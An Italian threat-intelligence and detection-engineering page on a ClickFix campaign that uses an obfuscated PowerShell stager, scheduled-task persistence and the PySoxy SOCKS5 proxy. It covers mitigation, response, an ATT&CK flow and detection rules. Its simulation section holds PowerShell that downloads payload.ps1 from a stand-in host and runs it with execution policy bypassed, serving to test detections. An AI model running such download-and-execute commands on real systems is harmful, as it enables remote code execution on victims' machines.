ClickFix si Evolva con il Proxying di PySoxy
Detection stack
- AIDR
- Alert
- ETL
- Query
Riepilogo
ClickFix è una tecnica di consegna basata sull’ingegneria sociale che ora viene combinata con il proxy SOCKS5 open-source PySoxy per creare un canale di accesso secondario crittografato. L’intrusione inizia quando un utente esegue un comando PowerShell dannoso, che imposta la persistenza del task pianificato e avvia una sessione di comando e controllo di PowerShell in memoria. Dopo la ricognizione iniziale, l’attaccante scarica ed esegue PySoxy per stabilire un secondo percorso crittografato nell’ambiente. Questo uso modulare di strumenti basati su interprete rende più difficile sia il rilevamento che il contenimento dell’incidente.
Indagine
ReliaQuest ha osservato un singolo comando ClickFix guidato dall’utente che ha lanciato uno stager PowerShell offuscato, creato un task pianificato, eseguito una ricognizione del dominio e successivamente scaricato un file di codice byte Python compilato denominato b64.pyc, eseguito con python.exe. Il componente PowerShell ha agito come un leggero RAT, interrogando il suo server di comando e controllo ogni tre secondi. I ricercatori hanno anche visto l’attaccante usare curl per caricare log e recuperare il payload PySoxy dallo stesso server di staging.
Mitigazione
I difensori dovrebbero rilevare e bloccare i lanci di PowerShell sospetti che originano da explorer.exe, monitorare per task pianificati che eseguono comandi PowerShell nascosti e cercare esecuzioni Python usando argomenti relativi al proxy come -ssl, -remote_ip, e -remote_port. I team di sicurezza dovrebbero anche ispezionare il traffico in uscita verso i domini e indirizzi IP identificati e rimuovere eventuali script PowerShell persistenti o .pyc file trovati in ProgramData.
Risposta
Se vengono trovati indicatori correlati, isola immediatamente l’host interessato, disabilita l’account utente compromesso, rimuovi il task pianificato dannoso, elimina lo script PowerShell e gli artefatti PySoxy e scansiona il sistema per ulteriori residui. I difensori dovrebbero anche confermare che il traffico in uscita verso l’infrastruttura identificata sia bloccato e verificare che non rimangano attivi altri meccanismi di persistenza.
"graph TB %% Class definitions classDef technique fill:#cce5ff %% Node definitions tech_content_injection["<b>Tecnica</b> – <b>T1659 Iniezione di Contenuti</b><br/><b>Descrizione</b>: Gli avversari iniettano contenuti dannosi in file legittimi o flussi di dati per abilitare ulteriori azioni dannose."] class tech_content_injection technique tech_user_exec_malicious_link["<b>Tecnica</b> – <b>T1204.001 Esecuzione Utente: Link Malicioso</b><br/><b>Descrizione</b>: La vittima clicca su un link creato che lancia codice dannoso."] class tech_user_exec_malicious_link technique tech_user_exec_psh_stager["<b>Tecnica</b> – <b>T1204 Esecuzione Utente (stager PowerShell)</b><br/><b>Descrizione</b>: L’utente esegue un comando PowerShell che stabilisce payload aggiuntivi."] class tech_user_exec_psh_stager technique tech_obf_embedded_payloads["<b>Tecnica</b> – <b>T1027.009 File o Informazioni Offuscate: Payload Incorporati</b><br/><b>Descrizione</b>: I payload sono nascosti o crittografati all’interno di altri file per evitare il rilevamento."] class tech_obf_embedded_payloads technique tech_reflective_loading["<b>Tecnica</b> – <b>T1620 Caricamento Riflettente di Codice</b><br/><b>Descrizione</b>: Il codice dannoso viene caricato direttamente in memoria usando tecniche riflettenti."] class tech_reflective_loading technique tech_scheduled_task["<b>Tecnica</b> – <b>T1053 Task/Job Pianificato</b><br/><b>Descrizione</b>: Un task o job pianificato viene creato per eseguire codice dannoso per persistenza."] class tech_scheduled_task technique tech_user_exec_psh_rat["<b>Tecnica</b> – <b>T1204 Esecuzione Utente (PowerShell RAT in-memory)</b><br/><b>Descrizione</b>: L’utente esegue inavvertitamente uno strumento di accesso remoto basato su PowerShell in-memory."] class tech_user_exec_psh_rat technique tech_permission_groups["<b>Tecnica</b> – <b>T1069 Scoperta dei Gruppi di Permessi</b><br/><b>Descrizione</b>: L’avversario enumera i gruppi di permessi e le appartenenze sul sistema."] class tech_permission_groups technique tech_lateral_tool_transfer["<b>Tecnica</b> – <b>T1570 Trasferimento di Strumenti Laterali</b><br/><b>Descrizione</b>: Strumenti o file vengono trasferiti lateralmente a un altro host, ad esempio tramite upload con curl."] class tech_lateral_tool_transfer technique tech_multistage_channels["<b>Tecnica</b> – <b>T1104 Canali Multi-Stage</b><br/><b>Descrizione</b>: Viene stabilito un canale di comunicazione aggiuntivo per scaricare ulteriori payload come PySoxy."] class tech_multistage_channels technique tech_proxy["<b>Tecnica</b> – <b>T1090 Proxy</b><br/><b>Descrizione</b>: Il traffico è instradato tramite un server proxy per nascondere l’origine."] class tech_proxy technique tech_proxy_external["<b>Tecnica</b> – <b>T1090.002 Proxy: Proxy Esterno</b><br/><b>Descrizione</b>: Un servizio proxy esterno è usato per nascondere ulteriormente il traffico di comando e controllo."] class tech_proxy_external technique tech_exfil_alt_proto["<b>Tecnica</b> – <b>T1048 Esfiltrazione Tramite Protocollo Alternativo</b><br/><b>Descrizione</b>: I dati vengono esfiltrati utilizzando un protocollo non tipicamente associato al trasferimento dati."] class tech_exfil_alt_proto technique %% Connections showing attack flow tech_content_injection –>|leads_to| tech_user_exec_malicious_link tech_user_exec_malicious_link –>|leads_to| tech_user_exec_psh_stager tech_user_exec_psh_stager –>|leads_to| tech_obf_embedded_payloads tech_obf_embedded_payloads –>|leads_to| tech_reflective_loading tech_user_exec_psh_stager –>|enables| tech_scheduled_task tech_scheduled_task –>|leads_to| tech_user_exec_psh_rat tech_user_exec_psh_rat –>|leads_to| tech_permission_groups tech_permission_groups –>|leads_to| tech_lateral_tool_transfer tech_lateral_tool_transfer –>|leads_to| tech_multistage_channels tech_multistage_channels –>|leads_to| tech_proxy tech_proxy –>|leads_to| tech_proxy_external tech_proxy_external –>|leads_to| tech_exfil_alt_proto "
Flusso di Attacco
Rilevamenti
Possibile Enumerazione o Manipolazione di Account o Gruppi (via cmdline)
Visualizza
Scoperta di Domini di Fiducia Sospetti (via cmdline)
Visualizza
Uso Sospetto di CURL (via cmdline)
Visualizza
Stringhe PowerShell Sospette (via PowerShell)
Visualizza
Task Pianificato Sospetto (via audit)
Visualizza
IOC (SourceIP) da rilevare: ClickFix Evolve con Proxing PySoxy
Visualizza
IOC (DestinationIP) da rilevare: ClickFix Evolve con Proxing PySoxy
Visualizza
Rileva Attività PySoxy e ClickFix con Connessioni in Uscita Sospette [Connessione di Rete Windows]
Visualizza
Rilevazione di Attività PowerShell C2 di ClickFix [PowerShell di Windows]
Visualizza
Campagna ClickFix – Explorer che Avvia PowerShell Offuscato [Creazione Processo Windows]
Visualizza
Esecuzione Simulazione
Prerequisito: Il controllo pre-volo di Telemetry & Baseline deve essere stato superato.
Motivazione: Questa sezione dettaglia l’esecuzione precisa della tecnica avversaria (TTP) progettata per innescare la regola di rilevamento. I comandi e la narrazione DEVONO riflettere direttamente i TTP identificati e mirare a generare l’esatta telemetria prevista dalla logica di rilevamento.
-
Narrativa e Comandi di Attacco:
- Obiettivo: Stabilire un canale C2 basato su PowerShell (ClickFix) che scarica un payload dannoso da un server remoto e lo esegue furtivamente.
- Metodo: L’attaccante lancia
powershell.execon il set di flag esatto che la regola monitora (-NoProfileand-ExecutionPolicy Bypass) e usaInvoke-WebRequestper recuperare il payload. - Perché questo metodo: Utilizzando PowerShell nativo di Windows e la comune
Invoke-WebRequestcmdlet, l’avversario evita di scaricare strumenti di terze parti, riducendo la possibilità di rilevamento AV mentre corrisponde al comportamento noto di ClickFix catturato nella regola.
# Step 1: Scarica lo script dannoso (simulato come un file di test benigno) $url = "http://malicious.example.com/payload.ps1" $out = "$env:TEMPpayload.ps1" Invoke-WebRequest -Uri $url -OutFile $out # Step 2: Esegui lo script scaricato usando gli stessi parametri di lancio che la regola osserva powershell.exe -NoProfile -ExecutionPolicy Bypass -File $out -
Script di Test di Regressione:
# ============================================== # Simulazione C2 PowerShell ClickFix (TC-20260514-3G7ZK) # ============================================== # Definisci variabili $url = "http://malicious.example.com/payload.ps1" $out = "$env:TEMPpayload.ps1" # 1. Scarica un payload fittizio (agisce come il recupero C2) Write-Host "[*] Scaricamento del payload..." try { Invoke-WebRequest -Uri $url -OutFile $out -UseBasicParsing } catch { Write-Error "Scaricamento fallito: $_" exit 1 } # 2. Esegui il payload con i flag esatti monitorati dalla regola Write-Host "[*] Esecuzione del payload con -NoProfile -ExecutionPolicy Bypass" powershell.exe -NoProfile -ExecutionPolicy Bypass -File $out Write-Host "[+] Simulazione completata." # ============================================== -
Comandi di Pulizia:
# Rimuovi il file di payload temporaneo if (Test-Path $out) { Remove-Item -Path $out -Force Write-Host "[*] File payload rimosso." } # Interrompe facoltativamente qualsiasi processo PowerShell residuo lanciato dal test Get-Process -Name "powershell" | Where-Object {$_.Path -like "*powershell.exe"} | Stop-Process -Force Write-Host "[*] Pulizia completata."